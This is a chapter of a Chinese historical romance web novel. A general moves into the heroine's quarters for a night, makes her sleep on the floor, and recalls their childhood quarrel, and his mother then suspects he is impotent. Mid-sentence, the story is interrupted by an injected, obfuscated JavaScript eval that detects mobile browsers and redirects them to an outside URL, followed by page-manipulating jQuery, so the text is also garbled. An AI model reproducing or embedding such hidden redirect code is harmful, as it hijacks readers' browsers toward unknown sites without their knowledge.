16. 第 16 章
作品:《当我另嫁他时》 夜里,抄手游廊每隔数步悬着一盏铜灯,兽脂灯油燃烧时散发出清香。一队提着宫灯的男仆从廊上经过,走向更深的院落。
徽音颓废的躺在榻上,睁着眼望天,裴彧交代的事情十万火急,她得先把贺佳莹的事情给办了,只是贺佳莹要嫁给裴彧执念的如此之深,要如何才能打消。
徽音回想那日落水争执时贺佳莹的神色,当时她说了一句话,她质问徽音为什么要选裴府。
这话乍一听没什么毛病,细究却有很大问题,她为什么说的是裴府而不是裴彧?难道在她眼里,留在裴府才是最重要的吗?
她躺在在榻上神游天外的想着,伸手摸向旁边的漆盘里的枣栗米糕,这是颜娘端上来给她解乏的,口感软糯绵密,带有枣栗自然的香甜和谷物香。
“噔噔噔”急促的脚步声响起,似乎是谁在楼梯上狂奔,徽音被打断思绪,她撑起身朝门口望去,颜娘气喘吁吁的扶着墙,额上布满细汗。
徽意疑问:“傅母,什么事这么急?”
颜娘深吸两口气,指着楼下惊呼:“裴将军今夜要在临水阁过夜,他的仆从已将衣物都送来了。”
“什么!”
徽音立马翻身坐起,提着裙摆噔噔下了楼,平日宽敞的院内立着五个男仆,个个身形高大健硕,一看就是出自军中。
领头的那个叫宿风,他抱拳向徽音行礼,恭敬道:“宋娘子,少将军吩咐我等将他的换洗衣物送来。”
徽音胡乱点头一番,视线移至他们旁边的三个木箱里,一箱子衣物,一箱子用具,还有一箱子竹简。她涩然道:“裴将军只歇一夜,用得着搬这么多东西吗?”
宿风似乎很惊讶徽音会问出这句话,他不好意思笑道:“少将军身边只有宋娘子一人,以后肯定是经常住在这边,这些只是今日仓皇间收拾出的,还有其他的后面再慢慢送过来。”
徽音整个人呆愣住,她想过有这么一天,但没想过这天来的这么快。
一想到今夜要和裴彧住在一起,徽音就浑身僵硬,她侧开身,吩咐阿桑等人帮忙将物品归置整齐。
二楼原本还算宽敞的内室瞬间变得拥挤,雅致的闺房也被冷硬的兵刃和兵书弄得不伦不类起来。
徽音盯着裴彧的那些东西,努力的给自己做心理建设,这一天早晚都是要来的伸头是一刀缩尾也是一刀。
说不定,她和裴彧亲密接触后,他就会放下戒心慢慢接纳她,这对她而言是好事,方便日后行事。
徽音深吸一口气,忍不住起身来回踱步,临都驿站那夜她是抱着献身的想法去,可那夜裴彧没碰她,回裴府后没多久他就出京了。
她不住的安慰自己,等会眼一闭,仍他摆弄就是。她听府里的仆妇闲聊过,有些人看着身强体壮,实则内里是个银枪腊头,用不着半刻钟就能完事。
——
裴彧踏着月色回府,他才踏进朔风堂,就见宿风迎上来,一脸笑意,“少将军,您不是说今夜去临水阁歇息吗?”
裴彧拧着眉头,“我何时说过?”
宿风回:“酉时女君派人来传话,说您今夜要歇在临水阁,吩咐我等将衣物送去那边。”
裴彧气笑了,“你送了?”
宿风也察觉到不对劲,他摸摸鼻头,道:“送了。”
裴彧抬步出了朔风堂,他走到门口,又转头问:“我不在的这几日,夫人对她如何?”
这个她自然是指徽音。
宿风回忆道:“起初很一般,不过宋娘子每日都会去陪女君闲聊,久而久之,女君也挺喜欢她的。”
等到裴彧踏着月色进门,徽音情绪已经恢复,她穿着一身淡黄寝衣等在屋门口,长发披肩,月色洒在她身上,一时间,分不清是月色更美些还是她更美些。
裴彧走进大堂,将其他人都遣下去。临水阁众人都明白今夜要发生什么,忙不迭的退出门口。
只有颜娘,目光哀伤的望着堂中背脊停直的少女,她比任何都明白,这对徽音意味着什么。
徽音视线越过裴彧,看见担忧她的颜娘,她唇边露出笑,微微摇头示意颜娘放心。
徽音走上前关好门,深吸一口气,转身看着裴彧,轻声道:“裴将军,上楼歇息吧。
两人一前一后的上了二楼,屋内只点了一盏灯,烛火昏暗,给人心里莫名增添一股心慌。
裴彧靠着矮案坐下,单手支头讥讽道:“你倒是学聪明了,知道从我阿母那边下手。”
徽音以为他说的她去讨好裴夫人一事,慢慢走过去,坐在他身边,两人挨的极近。
她仰着头,身上的淡香飘进裴彧的鼻尖,似玉兰香。
“讨夫人开心是妾的本分。”
裴彧冷嗤,“你是为讨她开心还是为着别的。”
他说的是今夜裴夫人让他来临水阁过夜一事。
徽音眨眨眼,不明白他什么意思。
裴彧视线从她那双清凉的眸子上移开,低低的笑起来,“你就这么馋我身子?”
等到徽音听起他说的是什么后,她惊讶的抬头,她什么时候馋他的身子了?他在说什么胡话?
裴彧看她一副张嘴呆愣的模样,挑眉示意她低头看看自己的穿着,“打扮成这样,故意勾引我?”
徽音低头仔细的瞧了半天,很普通很普通的寝衣长裙,就露了个脖子,怎么就勾引了。
她解释道:“我没有,我不是……”
裴彧打断她的话语,再度露出徽音熟悉的刻薄面目,薄唇轻启,“你死了这条心,今夜你去打地铺。”
徽音:“……”
徽音僵在原地,眼睁睁看着裴彧霸占她的床榻,前几日颜娘特意选了匹上好的素色花绸给她做被衾,她还未曾享受过就被裴彧鸠占鹊巢。
人在屋檐下不得不低头,徽音转身在蹲在地上铺床,起身放下帷帐。身后的一幕令她气血上涌,她看见裴彧大剌剌的躺在她的榻上,双腿并拢在榻尾,她最喜欢的软枕被他垫在腰后。
她有些站不住的扶住木架,不想再看见被糟蹋的软榻,转身和衣躺在地上,强迫自己赶紧入眠。
她刚来了些睡意,那人突然出声:“熄灯。”
徽音认命的爬起身,将烛台一一熄灭,摸着黑回去。脚下不知被哪里撞住,徽音一个不慎摔在地上,带起一片哐当动静,额上传来火辣辣的疼,她跪在地上,双手紧紧捂住额头小声抽气。
刚暗下的屋子又燃起烛光,胳膊上传来大力,她整个人腾空而起,被人掐着腰放在床上。
徽音撤下手,额前红肿一块。
裴彧眼底带着一丝不耐烦,”真是娇弱,熄个灯也能受伤。”
泥人也有三分血性,徽音此刻也不免有几分气,她推开裴彧下床,翻出药膏给自己敷上后,又躺回地上。过程中一言不发,完全无视裴彧。
裴彧凝视已躺好的徽音,低头看着被她推开的手掌,他也有些气笑了。他抬手灭掉烛火,上床时故意弄出大动静,转头看见徽音不耐烦的缩进被褥,隔绝一切目光。
他抬手狠狠拉下帷帐,翻身朝里。他陷在被褥里,周身都包裹着徽音身上的淡香,密密麻麻钻进鼻腔,心肺,搅得他睡不着觉。
裴彧听着地上传来的浅浅呼吸,他翻身看过去,徽音已经从被褥探出头,双手无意识的交叉在腹前,胸口随着呼吸上下起伏。
帷幔影影绰绰,他看不清她的面容,她今夜一改往日的小意讨好,竟然还敢冲他发脾气。
他摸着颈间那道伤疤,那是五年前,他听闻长安东郊的树林里子出现一只野生麋鹿,他心痒难耐,瞒着裴府众人独自出京寻找。
裴彧在林中绕了三天也没找到那只麋鹿,身上带的水和干粮也用尽,倒霉的是,他还在林中迷了路,直到天完全黑透才从林中走出。
人困马乏,浑身脏污,辨不清方向,只能就近找一家乡野农户借宿。
那处应是城中某位富户的乡野农庄,星火点点,他被仆人领进庄内,途径一处飞阁庭院时,发现里头坐着一个粉玉雕琢的小女娘,约莫十二岁,梳着双丫髻,天真无邪,极是好看。
彼时的裴彧也才是个刚满十五的少年,不由得多看了那小女孩两眼,没想到引发了误会。小女孩年纪虽小,却极敏锐,当即指着裴彧的身影吩咐周围的奴仆将他赶出去。
裴彧努力解释一番,那小女孩笑吟吟道:“那又如何,你冒犯了我。”
少年不忿回道:“不过多看了你一眼,你能少块肉?”
“这是我家的庄子,我要赶你出去也不需要理由!”
她说完没半分犹豫的叫人将裴彧拿下,他当时有心无力,没两下就被宋府的奴仆架起来,撵了出去,颈上还受了些伤。
他只能在野外硬捱一晚,等待天亮城门大开才回府,因此事太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370161|182964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过丢脸,不论众人如何问他都不曾吭声,阿父还因此罚他跪了半天。
后来他才知,那小女孩是宋公之女,本想找到她报复一番,但匈奴来犯,阿父出征战死,他也远走代郡。
经年之后再回西京,彼时的宋徽音早已褪去稚嫩青涩,成为众人口中人人称赞的的高门姝女。
被褥垫得再厚也不如床舒服,天刚蒙蒙亮,徽音就醒了。她坐在地上揉弄酸痛的腰间,朝内室看去,帷帐虽然拉下,但还是能依稀看到些人影,裴彧还在熟睡。
她摄手摄脚的起身,凑近铜镜观察伤势,好在并不严重,过了一晚上已经消肿了,就剩下些红痕。
早膳时分,徽音和裴彧各自用饭,面对面的跪坐在漆案前,只剩筷箸与漆具相接的声音。
用完饭,裴彧出门上衙,他如今挂着卫将军的名号,还领了虎贲中郎将的职责,统帅禁军精锐。
他一离开,徽音就吩咐阿桑等人将临水阁好生打扫一番,尤其的她的床榻,从里到外都要换新。
她则是领着颜娘去见了裴夫人,裴夫人心情不爽利,恹恹的卧在榻上。
徽音接过颜娘手中的药包递给裴夫人,“上次见夫人膝盖似是受凉冷痛,这是我傅母家乡的偏方,捣碎后敷在膝盖处,能有效缓解。”
裴夫人很是意外,她自从生了裴衍后就落下这个老毛病,腿总是时不时的发疼,看了不少医官总也不见好。
她心中顿觉宽慰,握着徽音的手拍了拍,“你有心了。”
徽音试探的问道:“夫人似乎是心情不好,可愿同徽音讲讲?”
裴夫人面带犹豫,见徽音一脸真挚,最终叹气道:“是佳莹的事,也都怪我,从前是我一直撺掇她说要他给彧儿做妾。可如今你也知道,彧儿不愿纳她,我又做不了他的主。佳莹她……”
徽音安慰道:“夫人待表妹的心众人皆知,表妹只是一时没有转过弯来,相信过不了多久就能好了。”
裴夫人叹息:“希望如此。”
她转而问起另一事,“听说昨夜你那里没有叫水,怎么?你和彧儿昨夜没圆房?”
徽音尴尬不已,那两个粗实仆妇嘴真碎,这才多久,裴夫人就知道了。
“确实没……”
裴夫人惊讶:“为何?”
不应该啊,她靠在凭栏上打量徽音,深更夜重,孤男寡女,美人在怀,居然没成事?她儿子也不像是个柳下穗的样子,难不成,是有什么隐疾。
“你与我说说,昨夜什么光景?”裴夫人抓住徽音的手,仔细的盘问。
徽音将昨夜的情形如实相告,她说完后,室内就陷入的沉默,安静的叫人心慌。
裴夫人面上一阵青一阵白,她喃喃自语:“难怪呢,我说这些我屡次要给他安排晓事婢女他都给拒了,皇后赐下的他也一个不落的送走。我还当以为自己生了个痴情种,要为那柳檀守身。”
裴夫人说到激动处,站起身在屋内来回踱步,一会念叨我可怜的儿,一会又双手合十对天忏悔说自己对不起大司马,对不起裴家。
“乔媪!乔媪!”裴夫人拉开门,朝外头大喊。
乔媪急急忙忙的从旁屋跑出来,“女君,奴在呢,怎么了?”
“快,去将太医令请来!”
徽音听见这句,顾不得什么,提着裙奔出去将人喊住,“不许去!”
裴夫人有些生气,带怒的看着徽音,“你何意?”
“夫人,许是误会,您先莫着急。”
徽音心跳砰砰作响,她不知道裴彧到底行不行,但任由裴夫人闹下去,不行的就是她了。
“怎么可能是误会,桩桩件件,还能有假?”裴夫人越想越不对劲,从前裴彧的洁身自好在她现在看来全是他“不行”的证据。
“那您也不能闹的人尽皆知啊!”
徽音这下是真的有些恼火,难怪裴皇后要特意派人来协助裴夫人理家,似她这样做事思虑不周,不管后果,就这么大喇喇的去请太医令,不出一日,满城皆知。
裴夫人叫徽音喝住,冷静下来,她抓住徽音的手点头,“你说的对,不能去。”
她猛拍脑袋,扔下一句:“我进宫去找皇后娘娘商量。”
徽音拉不住她,被她甩在原地,望着她远去的身影欲哭无泪。她完了,莫说接近裴彧了,他这下肯定杀了她的心都有了。
吾命休矣。